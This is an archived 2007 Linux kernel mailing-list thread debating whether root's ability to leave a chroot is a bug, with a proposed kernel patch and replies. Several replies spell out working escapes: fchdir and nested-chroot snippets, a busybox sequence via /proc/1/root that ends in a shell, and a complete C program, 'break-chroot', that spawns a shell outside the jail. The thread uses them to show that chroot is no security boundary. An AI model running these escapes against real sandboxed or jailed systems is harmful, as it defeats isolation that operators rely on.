That shell, will not leave the new root until it exits or executes chroot. I've tried the "tricks" about mounting /proc and changing to 'cwd' of init, etc. However, your new root needs to NOT have the chroot utility available and/or the system call needs to be removed or trapped in the runtime library of the new root, because, quite obviously, a root process can do anything it wants. That's how Unix was designed. So, if you don't want somebody to get out of your 'jail' don't provide the keys. It's clearly not a kernel issue.

Cheers,
Dick Johnson
Penguin : Linux version 2.6.22.1 on an i686 machine (5588.29 BogoMips). My book : http://www.AbominableFirebug.com/
_

****************************************************************
The information transmitted in this message is confidential and may be privileged. Any review, retransmission, dissemination, or other use of this information by persons or entities other than the intended recipient is prohibited. If you are not the intended recipient, please notify Analogic Corporation immediately - by replying to this message or by sending an email to [email protected] - and destroy all copies of this information, including any attachments, without reading or disclosing them.

Thank you.

#55 lore raw

Re: Chroot bug

In reply to David Newall
Quoted 9 lines · David Newall
Quoted 1 line · Olivier Galibert

chroot does not allow you to walk out if you're in.

You're mistaken. Or more properly, further use of chroot lets you walk out. This really has been said before, and before, and before.

chroot("subtree"); // enter chroot
chdir("/"); // now at subtree
chroot("/tmp"); // now outside of chroot

Of course. chroots are not a stack, they're just a point in the namespace. You change it, the conditions apply to the new one.

Quoted 2 lines

BSD redefined chroot so that the working directory is set to the new root on subsequent uses of chroot; that's how they solved the bug.

They didn't solve a thing. fchdir baby. Unless you want to remove fchdir. And mknod. And mount. And so many other different syscalls that I don't even know the list.

OG.

#56 lore raw

Re: Chroot bug

In reply to David Newall
Quoted 4 lines · David Newall
Quoted 1 line · Kyle Moffett

David, please do tell myself and Adrian how "locking down" chroot() the way you want will avoid letting root break out through any of the above ways?

As has been said, there are thousands of ways to break out of a chroot. It's just that one of them should not be that chroot lets you walk out. I can't explain it clearer than that. If you don't see it now you probably never will.

Let me put it this way: You *CANNOT* enforce chroot() the way you want to without a completely unacceptable performance penalty. Let's start with the simplest example of:

fd = open("/", O_DIRECTORY);
chroot("/foo");
fchdir(fd);
chroot(".");

If you had ever actually looked at the Linux VFS, it is completely *impossible* to tell whether "fd" at the time of the chroot is inside or outside of "/foo" without tracking an enormous amount of extra state. Even then, any such determination may not be valid since an FD may be opened to an inode which is hardlinked at multiple locations in the directory tree. It could also be bind-mounted at multiple locations, or it may not even be mounted at all in this namespace (CDROM that was lazy-unmounted). That FD may be later passed over an open UNIX-domain socket from another process. Moreover, arbitrarily closing FDs would break a huge number of programs. Furthermore, since you can't fix the "trivial" case of 'fchdir()', then there's no point in even *attempting* to fix the "cwd is outside of chroot" problem, although that is basically equivalent in difficulty to fixing the "dir-fd is outside of chroot" problem.

As for the nested-chroot() bit, the root user inside of a chroot is always allowed to chroot(). This is necessary for test-suites for various distro installers, chroot once to enter the installer playpen, installer chroots again to configure the test-installed-system. Once you allow a second chroot, you're back at the "can't reliably and efficiently track directory sub-tree members" problem.

So if you think it can and should be fixed, then PROVIDE THE CODE.

Cheers,
Kyle Moffett

#57 lore raw

Re: Chroot bug

Kyle Moffett napsal(a):

Quoted 6 lines · David Newall
Quoted 4 lines
Quoted 1 line · Kyle Moffett

David, please do tell myself and Adrian how "locking down" chroot() the way you want will avoid letting root break out through any of the above ways?

As has been said, there are thousands of ways to break out of a chroot. It's just that one of them should not be that chroot lets you walk out. I can't explain it clearer than that. If you don't see it now you probably never will.

Quoted 8 lines

Let me put it this way: You *CANNOT* enforce chroot() the way you want to without a completely unacceptable performance penalty. Let's start with the simplest example of:

fd = open("/", O_DIRECTORY);
chroot("/foo");
fchdir(fd);
chroot(".");

If you had ever actually looked at the Linux VFS, it is completely *impossible* to tell whether "fd" at the time of the chroot is inside or outside of "/foo" without tracking an enormous amount of extra state.

so there *is* solution. It is possible. I solved it. I have patch and it is working. So if you find some way how to break it I woud glad if you tell me it.

Quoted 5 lines

Even then, any such determination may not be valid since an FD may be opened to an inode which is hardlinked at multiple locations in the directory tree. It could also be bind-mounted at multiple locations, or it may not even be mounted at all in this namespace (CDROM that was lazy-unmounted). That FD may be later passed over an open UNIX-domain socket from another process. Moreover, arbitrarily closing FDs would break a huge number of programs. Furthermore, since you can't fix the "trivial" case of 'fchdir()', then there's no point in even *attempting* to fix the "cwd is outside of chroot" problem, although that is basically equivalent in difficulty to fixing the "dir-fd is outside of chroot" problem.

As for the nested-chroot() bit, the root user inside of a chroot is always allowed to chroot(). This is necessary for test-suites for various distro installers, chroot once to enter the installer playpen, installer chroots again to configure the test-installed-system. Once you allow a second chroot, you're back at the "can't reliably and efficiently track directory sub-tree members" problem.

So if you think it can and should be fixed, then PROVIDE THE CODE.

Miloslav Semler

diff -Nrp linux-2.6.16.53/fs/namei.c linux-2.6.16.53-new/fs/namei.c
*** linux-2.6.16.53/fs/namei.c 2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/namei.c 2007-09-15 16:13:50.000000000 +0200
*************** static __always_inline void follow_dotdo
*** 728,733 ****
--- 728,772 ----
}
follow_mount(&nd->mnt, &nd->dentry);
}
+ long directory_is_out(struct vfsmount *wdmnt, struct dentry *wdentry,
+ struct vfsmount *rootmnt, struct dentry *root)
+ {
+ struct nameidata oldentry, newentry;
+ long ret = 1;
+
+ read_lock(&current->fs->lock);
+ oldentry.dentry = dget(wdentry);
+ oldentry.mnt = mntget(wdmnt);
+ read_unlock(&current->fs->lock);
+ newentry.dentry = oldentry.dentry;
+ newentry.mnt = oldentry.mnt;
+
+ follow_dotdot(&newentry);
+ /* check it */
+ if(newentry.dentry == root &&
+ newentry.mnt == rootmnt){
+ ret = 0;
+ goto out;
+ }
+
+ while(oldentry.mnt != newentry.mnt ||
+ oldentry.dentry != newentry.dentry){
+
+ memcpy(&oldentry, &newentry, sizeof(struct nameidata));
+ follow_dotdot(&newentry);
+
+ /* check it */
+ if(newentry.dentry == root &&
+ newentry.mnt == rootmnt){
+ ret = 0;
+ goto out;
+ }
+ }
+ out:
+ dput(newentry.dentry);
+ mntput(newentry.mnt);
+ return ret;
+ }

/*
* It's more convoluted than I'd like it to be, but... it's still fairly
diff -Nrp linux-2.6.16.53/fs/open.c linux-2.6.16.53-new/fs/open.c
*** linux-2.6.16.53/fs/open.c 2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/open.c 2007-09-15 16:14:52.000000000 +0200
*************** dput_and_out:
*** 560,565 ****
--- 560,567 ----
out:
return error;
}
+ long directory_is_out(struct vfsmount *, struct dentry*,
+ struct vfsmount *, struct dentry *);

asmlinkage long sys_fchdir(unsigned int fd) {
*************** asmlinkage long sys_fchdir(unsigned int *** 581,586 ****
--- 583,591 ----
error = -ENOTDIR;
if (!S_ISDIR(inode->i_mode))
goto out_putf;
+ if (directory_is_out(mnt, dentry, current->fs->rootmnt,
+ current->fs->root))
+ goto out_putf;

error = file_permission(file, MAY_EXEC); if (!error)
*************** out:
*** 594,600 ****
asmlinkage long sys_chroot(const char __user * filename) {
struct nameidata nd;
! int error;

error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd); if (error)
--- 599,605 ----
asmlinkage long sys_chroot(const char __user * filename)
{
struct nameidata nd;
! int error, set_wd = 0;

error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd); if (error)
*************** asmlinkage long sys_chroot(const char __
*** 607,615 ****
--- 612,631 ----
error = -EPERM;
if (!capable(CAP_SYS_CHROOT))
goto dput_and_out;
+ error = -ENOTDIR;
+ /*
+ if (directory_is_out(nd.mnt, nd.dentry, current->fs->rootmnt,
+ current->fs->root))
+ goto dput_and_out;
+ */
+ set_wd = directory_is_out(current->fs->pwdmnt, current->fs->pwd,
+ nd.mnt, nd.dentry);

set_fs_root(current->fs, nd.mnt, nd.dentry); set_fs_altroot();
+ /* if wd is out, reset it to . */
+ if(set_wd)
+ set_fs_pwd(current->fs, nd.mnt, nd.dentry);
error = 0;
dput_and_out:
path_release(&nd);

#58 lore raw

Re: Chroot bug

Quoted 9 lines · Miloslav Semler
Quoted 8 lines

As for the nested-chroot() bit, the root user inside of a chroot is always allowed to chroot(). This is necessary for test-suites for various distro installers, chroot once to enter the installer playpen, installer chroots again to configure the test-installed-system. Once you allow a second chroot, you're back at the "can't reliably and efficiently track directory sub-tree members" problem.

So if you think it can and should be fixed, then PROVIDE THE CODE.

Miloslav Semler

man openat

This is really pointless, anyway - any code that expects chroot to be root-proof is terminally broken.

#59 lore raw

Re: Chroot bug

Al Viro napsal(a):

Quoted 6 lines · Miloslav Semler
Quoted 5 lines
Quoted 5 lines

As for the nested-chroot() bit, the root user inside of a chroot is always allowed to chroot(). This is necessary for test-suites for various distro installers, chroot once to enter the installer playpen, installer chroots again to configure the test-installed-system. Once you allow a second chroot, you're back at the "can't reliably and efficiently track directory sub-tree members" problem.

So if you think it can and should be fixed, then PROVIDE THE CODE.

Quoted 8 lines
Quoted 2 lines

Miloslav Semler

man openat

This is really pointless, anyway - any code that expects chroot to be root-proof is terminally broken.

So thanks for information. I did't know anything about *at functions. So it seems to be more complicated. But maybe it will be good write to manpage "other systems implement it by other way, so this feature is unportable".

#60 lore raw

Re: Chroot bug

In reply to Miloslav Semler
Quoted 30 lines · Miloslav Semler

+ long directory_is_out(struct vfsmount *wdmnt, struct dentry *wdentry,

(quoted diff) +28 -0
+ 		struct vfsmount *rootmnt, struct dentry *root)
+ {
+ 	struct nameidata oldentry, newentry;
+ 	long ret = 1;
+ 	
+         read_lock(&current->fs->lock);
+ 	oldentry.dentry = dget(wdentry);
+ 	oldentry.mnt = mntget(wdmnt);
+         read_unlock(&current->fs->lock);
+ 	newentry.dentry = oldentry.dentry;
+ 	newentry.mnt = oldentry.mnt;
+ 	
+ 	follow_dotdot(&newentry);
+ 	/* check it */
+ 	if(newentry.dentry == root &&
+ 		newentry.mnt == rootmnt){
+ 		ret = 0;
+ 		goto out;
+ 	}
+ 	
+ 	while(oldentry.mnt != newentry.mnt ||
+ 		oldentry.dentry != newentry.dentry){
+ 		
+ 		memcpy(&oldentry, &newentry, sizeof(struct nameidata));
+ 		follow_dotdot(&newentry);
+ 		
+ 		/* check it */
+ 		if(newentry.dentry == root &&

Review

Quoted 10 lines
(quoted diff) +10 -0
+ 			newentry.mnt == rootmnt){
+ 			ret = 0;
+ 			goto out;
+ 		}
+ 	}
+ out:
+ 	dput(newentry.dentry);
+ 	mntput(newentry.mnt);
+ 	return ret;
+ }

This is basically both painfully racy and easily broken with umount and/or access to proc. See this busybox-compatible example:

## Set up chroot
mkdir /root1
mount -o mode=0750 -t tmpfs tmpfs /root1
cp -a /bin/busybox /root1/busybox

## Enter chroot
chroot /root1 /busybox

## Mount proc
/busybox mkdir /proc
/busybox mount -t proc proc /proc

## Poke around root filesystem (this may be all you need) /busybox ls /proc/1/root/

## Detach our chroot so we're no longer a sub-directory /busybox umount -l /proc/1/root/root1

## Now we can easily chroot to the original root, since it isn't in our ".." path exec /busybox chroot /proc/1/root /bin/sh

See how easy that is? Unless you stick the above parent-directory check (which is still racy against directories being moved around) for *EVERY* directory component of *EVERY* open/chdir-ish syscall, you are still going to be easily worked around through many different methods.

Cheers,
Kyle Moffett

#61 lore raw

Re: Chroot bug

Quoted 19 lines

This is basically both painfully racy and easily broken with umount and/or access to proc. See this busybox-compatible example:

## Set up chroot
mkdir /root1
mount -o mode=0750 -t tmpfs tmpfs /root1
cp -a /bin/busybox /root1/busybox

## Enter chroot
chroot /root1 /busybox

## Mount proc
/busybox mkdir /proc
/busybox mount -t proc proc /proc

## Poke around root filesystem (this may be all you need) /busybox ls /proc/1/root/

Quoted 9 lines

## Detach our chroot so we're no longer a sub-directory /busybox umount -l /proc/1/root/root1

## Now we can easily chroot to the original root, since it isn't in our ".." path exec /busybox chroot /proc/1/root /bin/sh

See how easy that is? Unless you stick the above parent-directory check (which is still racy against directories being moved around) for *EVERY* directory component of *EVERY* open/chdir-ish syscall, you are still going to be easily worked around through many different methods.

so there is no discussion about mount & others. I think, if you have CAP_SYS_MOUNT/CAP_SYS_ADMIN, you need not solve chroot() and how to break it.

#62 lore raw

Re: Chroot bug

Quoted 3 lines · Miloslav Semler

so there is no discussion about mount & others. I think, if you have CAP_SYS_MOUNT/CAP_SYS_ADMIN, you need not solve chroot() and how to break it.

CAP_SYS_PTRACE allows you to break out of chroot in a pretty trivial way too.

Signature · 1 line
Jiri Kosina
#63 lore raw

Re: Chroot bug

In reply to David Newall
Quoted 10 lines · On Wed, 26 Sep 2007 01:05:07 +0930 David Newall <[email protected]> wrote:
Quoted 5 lines · Alan Cox
Quoted 3 lines

Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy

Does it - I can't find any evidence for that.

It seems self-evident to me. What do you think is it prime purpose?

the prime purpose is that you can have different sets of userspace libs for testing or parallel deployment (for example this is used in many distribution build systems)

#64 lore raw

Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)

In reply to David Newall
Quoted 8 lines · David Newall

Miloslav Semler pointed out that a root process can chdir("..") out of its chroot. Although this is documented in the man page, it conflicts with the essential function, which is to change the root directory of the process. In addition to any creative uses, for example Philipp Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy for the bad guys, but the good guys don't need it; there are a thousand better, safer solutions.
...

The bad guys most likely also now other tricks to escape the chroot.

If you are root in the chroot you can e.g. mount the partition with the root filesystem inside the chroot.

If a bad guy becomes root inside a chroot it's game over.

cu
Adrian

Signature · 4 lines
       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed
#65 lore raw

Re: Chroot bug

Adrian Bunk napsal(a):

Quoted 7 lines · David Newall
Quoted 5 lines

Miloslav Semler pointed out that a root process can chdir("..") out of its chroot. Although this is documented in the man page, it conflicts with the essential function, which is to change the root directory of the process. In addition to any creative uses, for example Philipp Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy for the bad guys, but the good guys don't need it; there are a thousand better, safer solutions.
...

Quoted 6 lines

The bad guys most likely also now other tricks to escape the chroot.

If you are root in the chroot you can e.g. mount the partition with the root filesystem inside the chroot.

If a bad guy becomes root inside a chroot it's game over.

but why there keep 1000001th. It is same as:
There is milion ways howto dos your system.. Then we needn't repair bugs...

Quoted 4 lines

cu
Adrian

#66 lore raw

Re: Chroot bug

Quoted 17 lines · Miloslav Semler

Adrian Bunk napsal(a):

Quoted 16 lines · David Newall
Quoted 12 lines

Miloslav Semler pointed out that a root process can chdir("..") out of its chroot. Although this is documented in the man page, it conflicts with the essential function, which is to change the root directory of the process. In addition to any creative uses, for example Philipp Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy for the bad guys, but the good guys don't need it; there are a thousand better, safer solutions.
...

The bad guys most likely also now other tricks to escape the chroot.

Quoted 7 lines
Quoted 5 lines

If you are root in the chroot you can e.g. mount the partition with the root filesystem inside the chroot.

If a bad guy becomes root inside a chroot it's game over.

but why there keep 1000001th. It is same as:
There is milion ways howto dos your system.. Then we needn't repair bugs...

Either something is aimed at being secure or it's not aimed at being secure.

For chroot it's documented that it does not prevent root from escaping the chroot so that's expected behavior, not a bug.

And regarding security, there's no difference whether there is 1 way or whether there are 1000001 ways for root to escape the chroot.

cu
Adrian

Signature · 4 lines
       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed
#67 lore raw

Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)

In reply to David Newall
Quoted 4 lines · David Newall

Miloslav Semler pointed out that a root process can chdir("..") out of its chroot. Although this is documented in the man page, it conflicts with the essential function, which is to change the root directory of the process.

The root directory, '/' is changed, and if the process is capable of using chroot, it may change the root directory again. Works as defined.

Quoted 3 lines

In addition to any creative uses, for example Philipp
Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security.

As long as root has more than a safe subset of capabilities, root can escape a chroot.

Besides that, fchdir on open-at-chroot fds does not decrease the security, since the attacker needs help from the outside root, who is not restricted by chroot.

I'm more concerned about abstract unix sockets, they could be used to send a file descriptor to compromised daemons and extend exploits to the outside of a chroot and across namespaces - at least I suspect it. The whole f* family of syscalls would be affected. This can be cured by e.g. not allowing to receive fds if the root+namespace do not match.

Quoted 3 lines

Being able to cd your way out is handy
for the bad guys, but the good guys don't need it; there are a thousand better, safer solutions.

The good guys don't cd out, they open the instalkler archive, chroot to the new system root and extract it there. Then they chroot back using the saved cwd.

Quoted 5 lines

If there truly is a need to be able to pop in and out of a chroot, then the solution should be obvious, such as with real versus effective user and group ids. An important quality of a solution would be a way to fix that essential function: to set the root in such a way that you can no longer pop out. But that is a separate question.

As in jail()?

As far as I know, the new virtualisation features sneaking into the kernel will allow implementing a jail, too, in a more secure way than any hacking on chroot can give.

Quoted 5 lines

The question: is chroot buggy? I'm pleased to turn to SCO for an independent definition for chroot, from which I get the following:

http://osr600doc.sco.com/en/man/html.S/chroot.S.html:

Quoted 1 line
Quoted 7 lines
Quoted 4 lines

The *..* entry in the root directory is interpreted to mean the root directory itself. Thus, *..* cannot be used to access files outside the subtree rooted at the root directory.

I argue chroot is buggy. Miloslav's patch might not be the right solution, but he has the right idea (i.e. fix it.)

There are implementations of chroot which imply chdir(), and not having f* functions, they can not _directly_ acces files outside the chroot. But as long as they can e.g. mknod /dev/mem or strace, they can do anything.

So let's not put a fingerprint sensor on that chinese paper door.

Signature · 2 lines
You know you're in trouble when packet floods are competing to flood you.
	-- grc.com
#68 lore raw
In reply to David Newall
Quoted 11 lines · David Newall
Quoted 9 lines · Serge E. Hallyn

No reason for any new parameters to pivot_root. Just clone your mounts namespace first.

	unshare(CLONE_NEWNS);
	chdir(new_dir);
	pivot_root(new_dir, oldroot);

Since pivot_root actually fiddles with the vfsmnts, this is really the only way to go about having it "work with just one process".

Quoted 7 lines

I think the point is that, whereas we'd like to be able to pivot the root for a single process, in practice this causes startup issues to which the easy solution is to pivot the whole system. At least that's my reading of the man page.

It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable.

Oh. Yes, true, it is unportable.

-serge

A message that is not in the archive (sent off-list or not yet received): [email protected]

A message that is not in the archive (sent off-list or not yet received): [email protected]

A message that is not in the archive (sent off-list or not yet received): [email protected]

A message that is not in the archive (sent off-list or not yet received): [email protected]

#73 lore raw
Quoted 4 lines · Al Viro

If you are within chroot jail and capable of chroot(), you can chdir to its root, then chroot() to subdirectory and you've got cwd outside of your new root. After that you can chdir all way out to original root.

Here is some code I wrote a while back to demonstrate that escape method.

/*
* Break a chroot
*
* Compile this with
*
* gcc -static -Wall break-chroot.c -o break-chroot
*
* Get a root shell in the chrooted environment and run *
* ./break-chroot
*
* Nick Craig-Wood <[email protected]>
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <error.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>

#define SHELL "bin/sh" /* no leading / */

int main(void)

{
    struct stat buf;
    if (chdir("/"))
	perror("chdir /"), exit(1);

    printf("Making escape tunnel\n");
    mkdir("/tmp", 01777);
    mkdir("/tmp/escape-tunnel", 0755);

    printf("Doing escape chroot leaving cwd behind\n");
    if (chroot("/tmp/escape-tunnel"))
	perror("chroot /tmp/escape-tunnel"), exit(1);

    printf("Exploit cwd being above the root and find a " SHELL " to run\n");
    do {
	printf("Going up...\n");
	if (chdir("../"))
	    perror("chdir ../"), exit(1);
    } while (stat(SHELL, &buf) != 0);

    printf("Chrooting back into the root directory\n");
    if (chroot("."))
	perror("chroot ."), exit(1);

    printf("If this doesn't error you are out of chroot!\n");
    if (execl(SHELL, SHELL, 0))
	perror("exec " SHELL), exit(1);

    printf("Something wicked happened!\n");
    return 1;
}
Signature · 1 line
Nick Craig-Wood <[email protected]> -- http://www.craig-wood.com/nick